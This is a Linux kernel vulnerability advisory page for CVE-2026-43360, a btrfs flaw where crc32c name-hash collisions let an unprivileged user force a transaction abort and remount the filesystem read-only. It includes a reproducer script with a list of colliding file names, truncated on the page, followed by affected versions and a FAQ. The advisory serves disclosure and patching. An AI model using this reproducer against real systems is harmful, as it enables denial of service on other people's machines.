CVE-2026-43360: btrfs: fix transaction abort on file creation due to name hash collision

Published May 8, 2026
·
Updated

In the Linux kernel, the following vulnerability has been resolved:

btrfs: fix transaction abort on file creation due to name hash collision

If we attempt to create several files with names that result in the same hash, we have to pack them in same dir item and that has a limit inherent to the leaf size. However if we reach that limit, we trigger a transaction abort and turns the filesystem into RO mode. This allows for a malicious user to disrupt a system, without the need to have administration privileges/capabilities.

Reproducer:

$ cat exploit-hash-collisions.sh #!/bin/bash

DEV=/dev/sdi MNT=/mnt/sdi

# Use smallest node size to make the test faster and require fewer file # names that result in hash collision. mkfs.btrfs -f --nodesize 4K $DEV mount $DEV $MNT

# List of names that result in the same crc32c hash for btrfs. declare -a names=( 'foobar' '%a8tYkxfGMLWRGr55QSeQc4PBNH9PCLIvR6jZnkDtUUru1t@RouaUeL:@xGkbO3nCwvLNYeK9vhE628gss:T$yZjZ5l-Nbd6CbC$M=hqE-ujhJICXyIxBvYrIU9-TDC' 'AQci3EUB%shMsg-N%frgU:02ByLs=IPJU0OpgiWit5nexSyxZDncY6WB:=zKZuk5Zy0DD$Ua78%MelgBuMqaHGyKsJUFf9s=UW80PcJmKctb46KveLSiUtNmqrMiL9-Y0Il5Fnam04CGIg=8@U:Z' 'CvVqJpJzueKcuA$wqwePfyu7VxuWNN3ho$p0zi2H8QFYK$7YlEqOhhb%:hHgjhIjW5vnqWHKNP4' 'ET:vk@rFU4tsvMB0$Cp=xQHaYZjvoF%-BTc%wkFW8yaDAPcCYoR%x$FH5O:' 'HwTon%v7SGSP4FE08jBwwiu5aot2CFKXHTeEAa@38fUcNGOWvE@Mz6WBeDHVooaZ6AgsXPkVGwy9l@@ZbNXabUU9csiWrrOp0MWUdfi$EZ3w9GkIqtz7IeOsByOkBOO' 'Ij%2VlFGXSuPvxJGf5UWy6O@1svxGha%b@=%wjkq:CIgE6u7eJOjmQY5qTtxE2Rjbis9@us' 'KBkjG5%9R8K9sOG8UTnAYjxLNAvBmvV5vz3IiZaPmKuLYO03-6asI9lJj4@6Xo$KZicaLWJ3Pv8XEwVeUPMwbHYWwbx0pYvNlGMO9F:ZhHAwyctnGy%eujl%WPd4U2BI7qooOSr85J-C2V$LfY' 'NcRfDfuUQ2=zP8K3CCF5dFcpfiOm6mwenShsAbF%n6GAGC7fT2JFFn:c35X-3aYwoq7jNX5$ZJ6hI3wnZs$7KgGi7wjulffhHNUxAT0fRRLF39vJ@NvaEMxsMO' 'Oj42AQAEzRoTxa5OuSKIr=AlwGMy132v4g3Pdq1GvUG9874YseIFQ6QU' 'Ono7avN5GjC:6dBJ' 'WHmN2gnmaN-9dVDy4aWo:yNGFzz8qsJyJhWEWcud7$QzN2D9R0efIWWEdu5kwWr73NZm4=@CoCDxrrZnRITr-kGtUcfW2:%2am' 'WiFnuTEhAG9FEC6zopQmj-A-$LDQ0T3WULz%ox3UZAPybSV6v1Z$b4LXBi4M4BMBtJZpz93r9xafpB77r:lbwvitWRyo$odnAUYlYMmU4RvgnNd--e=I5hiEjGLETTtaScWlQp8mYsBovZwM2k' 'XKyH=OsOAF3p%uziGFZVr$ivrvhVgD@1u%5RtrV-glvqAwHkK@x7YwlxX3qT6WKKQ%PR56NrUBU2dOAOAdzr2=5nJuKPM-T-$ZpQfCL7phxQbUcb:BZOTPaFExc-qK-gDRCDW2' 'd3uUR6OFEwZr%ns1XH@tbxA@cCPmbBRLdyh7p6V45H$P2$F%w0RqrD3M0g8aGvWpoTFMiBdOTJXjD:JF7=h9a43xBywYAP%r$SPZi%zDg%ql-KvkdUCtF9OLaQlxmd' 'ePTpbnit%hyNm@WELlpKzNZYOzOTf8EQ$sEfkMy1VOfIUu3coyvIr13-Y7Sv5v-Ivax2GoGQRFMU1b3362nktT9WOJf3SpT%z8sZmM3gvYQBDgmKI%%RM-G7hyrhgYflOw%z::ZRcv5O:lDCFm' 'evqk743Y@dvZAiG5J05LROFV@$2%rVWJ2%3nxV72-W7$e$-SK3tuSHA2mBt$qloC5jwNx33GmQUjD%akhBPu=VJ5g$xhlZiaFtTrjeeM5x7dt4cHpX0cZkmfImndYzGmvwQG:$euFYmXn$2rA9mKZ' 'gkgUtnihWXsZQTEkrMAWIxir09k3t7jkIK25t1:cy1XWN0GGqC%FrySdcmU7M8MuPOppkLw3=Dfr0UuBAL4%GFk2$Ma10V1jDRGJje%Xx9EV2ERaWKtjpwiZwh0gCSJsj5UL7CR8RtW5opCVFKGGy8Cky' 'hNgsG8lNRik3PvphqPm0yEH3P%%fYG:kQLY=6O-61Wa6nrVWVGR6TLB09vHOv%g4VQRP8Gzx7VXUY1qvZyS' 'isA7JVzN12xCxVPJZqoLm-pTBuhjjHMvV7o=F:EaClfYNyFGlsfw-Kf%uxdqW-kwk1sPl2vhbjyHU1A6$hz' 'kiJfgcdZFDiOptjgH5PN9-PSyLO4fbk:u52tz35lViXiJ6cx7pwjTtKy-XGaQ5IefmpJ4NZqGsqCsKuqOOBgf9LkUdffHet@Wu' 'lvwtxyhE9:%Q3UxeHiViUyNzJsy:fm38pgb6s25JvdhOAT=1s0$pG25x=LZ2rlHTszj=gN6M4zHZYrqrB49i=pA--@WqWLIuX7o1SSfS@2FSiUZN' 'rC24cw3UBDZ=5qJBUMs9e$=S4Y94ni%Z8639vnrGp=0Hv4z3dNFL0fBLmQ40=EYIY:Z=SLc@QLMSt2zsss2ZXrP7j4=' 'uwGl2s-fFrf@GqS=DQqq2I0LJSsOmM%xzTjS:lzXguE3wChdMoHYtLRKPvfaPOZF2fER@j53evbKa7R%A7r4%YEkD=kicJe@SFiGtXHbKe4gCgPAYbnVn' 'UG37U6KKua2bgc:IHzRs7BnB6FD:2Mt5Cc5NdlsW%$1tyvnfz7S27FvNkroXwAW:mBZLA1@qa9WnDbHCDmQmfPMC9z-Eq6QT0jhhPpqyymaD:R02ghwYo%yx7SAaaq-:x33LYpei$5g8DMl3C' 'y2vjek0FE1PDJC0qpfnN:x8k2wCFZ9xiUF2ege=JnP98R%wxjKkdfEiLWvQzmnW' '8-HCSgH5B%K7P8jaVtQhBXpBk:pE-$P7ts58U0J@iR9YZntMPl7j$s62yAJO@9eanFPS54b=UTw$94C-t=HLxT8n6o9P=QnIxq-f1=Ne2dvhe6WbjEQtc' 'YPPh:IFt2mtR6XWSmjHptXLhbSYu8bMw-JP8@PNyaFkdNFsk$M=xfL6LDKCDM-mSyGA2MBwZ8Dr4=R1D%7-mC ---truncated---

Affected Software

9 affected components
Linux Foundation btrfs (Linux kernel)
Linux Linux kernel>=5.19<6.1.167
Linux Linux kernel>=6.2<6.6.130
Linux Linux kernel>=6.7<6.12.78
Linux Linux kernel>=6.13<6.18.19
Linux Linux kernel>=6.19<6.19.9
Linux Linux kernel=7.0-rc1
Linux Linux kernel=7.0-rc2
Linux Linux kernel=7.0-rc3

Event History

May 8, 2026
CVE Published
via MITRE·02:21 PM
Data Sourced
via MITRE·02:21 PM
Description
Data Sourced
via NVD·03:16 PM
RemedyDescriptionSeverityAffected Software
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Frequently Asked Questions

1

What is the severity of CVE-2026-43360?

CVE-2026-43360 has been assessed as a high severity vulnerability due to the potential for transaction aborts on file creation.

2

How do I fix CVE-2026-43360?

To fix CVE-2026-43360, ensure that you update to the latest version of the btrfs component of the Linux kernel that addresses this vulnerability.

3

What are the implications of CVE-2026-43360 on my system?

CVE-2026-43360 may lead to file creation failures, impacting applications that rely on the btrfs filesystem.

4

Which versions of the Linux kernel are affected by CVE-2026-43360?

CVE-2026-43360 affects specific versions of the Linux kernel that utilize the btrfs filesystem prior to the fix being applied.

5

How can I mitigate the risks associated with CVE-2026-43360 if I cannot apply the fix immediately?

If you cannot apply the fix for CVE-2026-43360, consider temporarily avoiding creating multiple files that may lead to name hash collisions.

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